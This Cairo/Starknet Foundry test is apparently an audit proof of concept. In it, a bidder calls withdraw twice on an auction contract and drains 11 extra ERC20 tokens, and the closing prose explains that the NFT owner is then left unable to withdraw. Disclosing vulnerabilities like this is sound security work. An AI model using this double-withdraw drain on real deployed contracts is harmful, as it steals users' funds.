use snforge_std::{ declare, ContractClassTrait, DeclareResultTrait };
use snforge_std::{ start_cheat_caller_address_global, stop_cheat_caller_address_global, start_cheat_block_timestamp, stop_cheat_block_timestamp };
use core::traits::TryInto;
use core::serde::Serde;
use starknet::ContractAddress;
use openzeppelin::token::erc721::interface::{IERC721Dispatcher, IERC721DispatcherTrait};
use starknet_auction::starknet_auction::IStarknetAuctionDispatcher;
use starknet_auction::starknet_auction::IStarknetAuctionDispatcherTrait;
use starknet_auction::mock_erc20_token::IMockERC20TokenDispatcher;
use starknet_auction::mock_erc20_token::IMockERC20TokenDispatcherTrait;
use starknet::{ get_contract_address, get_block_timestamp};
fn deploy_auction_contract() -> (IStarknetAuctionDispatcher, ContractAddress, ContractAddress, ContractAddress) {
let contract = declare("StarknetAuction").unwrap().contract_class();
let mut calldata = ArrayTrait::new();
let erc721_contract = declare("MockERC721Token").unwrap().contract_class();
let mut erc721_args = ArrayTrait::new();
let recipient = get_contract_address();
(recipient, ).serialize(ref erc721_args);
let (erc721_contract_address, _) = erc721_contract.deploy(@erc721_args).unwrap();
let erc20_contract = declare("MockERC20Token").unwrap().contract_class();
let mut erc20_args = ArrayTrait::new();
let (erc20_contract_address, _) = erc20_contract.deploy(@erc20_args).unwrap();
let nft_id = 1;
(erc20_contract_address, erc721_contract_address, nft_id, ).serialize(ref calldata);
let (contract_address, _) = contract.deploy(@calldata).unwrap();
let dispatcher = IStarknetAuctionDispatcher { contract_address: contract_address };
let erc721_dispatcher = IERC721Dispatcher { contract_address: erc721_contract_address };
erc721_dispatcher.approve(contract_address, 1);
(dispatcher, contract_address, erc20_contract_address, erc721_contract_address)
}
#[test]
fn test_withdraw_bids() {
let (auction_dispatcher, auction_contract, erc20_contract_address, erc721_contract_address) = deploy_auction_contract();
auction_dispatcher.start(86400, 10);
let erc20_dispatcher = IMockERC20TokenDispatcher { contract_address: erc20_contract_address };
let erc721_dispatcher = IERC721Dispatcher { contract_address: erc721_contract_address };
let first_bidder_address: ContractAddress = 123.try_into().unwrap();
let second_bidder_address: ContractAddress = 111.try_into().unwrap();
let mut erc20_balance_bidder:u256 = erc20_dispatcher.token_balance_of(first_bidder_address);
println!("First bidder initial balance: {erc20_balance_bidder}");
let mut erc20_balance_2bidder:u256 = erc20_dispatcher.token_balance_of(second_bidder_address);
println!("2nd bidder initial balance: {erc20_balance_2bidder}");
start_cheat_caller_address_global(first_bidder_address);
erc20_dispatcher.mint(first_bidder_address, 11);
erc20_dispatcher.token_approve(auction_contract, 11);
println!("First bidder minted and approved 11 tokens for their first bid");
auction_dispatcher.bid(11);
stop_cheat_caller_address_global();
start_cheat_caller_address_global(second_bidder_address);
erc20_dispatcher.mint(second_bidder_address, 15);
erc20_dispatcher.token_approve(auction_contract, 15);
println!("Second bidder minted and approved 15 tokens for their first bid");
auction_dispatcher.bid(15);
stop_cheat_caller_address_global();
println!("Time passes and the auction finishes.");
let time = get_block_timestamp();
start_cheat_block_timestamp(auction_contract, time + 86401);
start_cheat_caller_address_global(auction_contract);
erc20_dispatcher.token_approve(first_bidder_address, 11);
erc721_dispatcher.approve(second_bidder_address, 1);
stop_cheat_caller_address_global();
auction_dispatcher.end();
let mut balance_auction_contract:u64 = erc20_dispatcher.token_balance_of(auction_contract).try_into().unwrap();
println!("Balance of auction contract after it's ended: {balance_auction_contract}");
erc20_balance_bidder = erc20_dispatcher.token_balance_of(first_bidder_address);
println!("Before withdraw First bidder balance: {erc20_balance_bidder}");
start_cheat_caller_address_global(first_bidder_address);
auction_dispatcher.withdraw();
stop_cheat_caller_address_global();
erc20_balance_bidder = erc20_dispatcher.token_balance_of(first_bidder_address);
println!("After withdraw First bidder balance: {erc20_balance_bidder}");
start_cheat_caller_address_global(auction_contract);
erc20_dispatcher.token_approve(first_bidder_address, 11);
stop_cheat_caller_address_global();
start_cheat_caller_address_global(first_bidder_address);
auction_dispatcher.withdraw();
stop_cheat_caller_address_global();
erc20_balance_bidder = erc20_dispatcher.token_balance_of(first_bidder_address);
println!("After drain withdraw First bidder balance: {erc20_balance_bidder}");
balance_auction_contract = erc20_dispatcher.token_balance_of(auction_contract).try_into().unwrap();
println!("Balance of auction contract now: {balance_auction_contract}");
assert(erc20_balance_bidder > 11, 'Failed to drain');
stop_cheat_block_timestamp(auction_contract);
}
As you can see in the output below, the first bidder only bid once, with the amount of 11 tokens. However they have made two calls to the withdraw function and stolen 11 tokens, giving them a total of 22 tokens. This leaves the NFT owner unable to widthdraw any funds as the protocol will attempt to transfer 15 tokens to them when they call withdraw; which will fail with an insufficient funds error.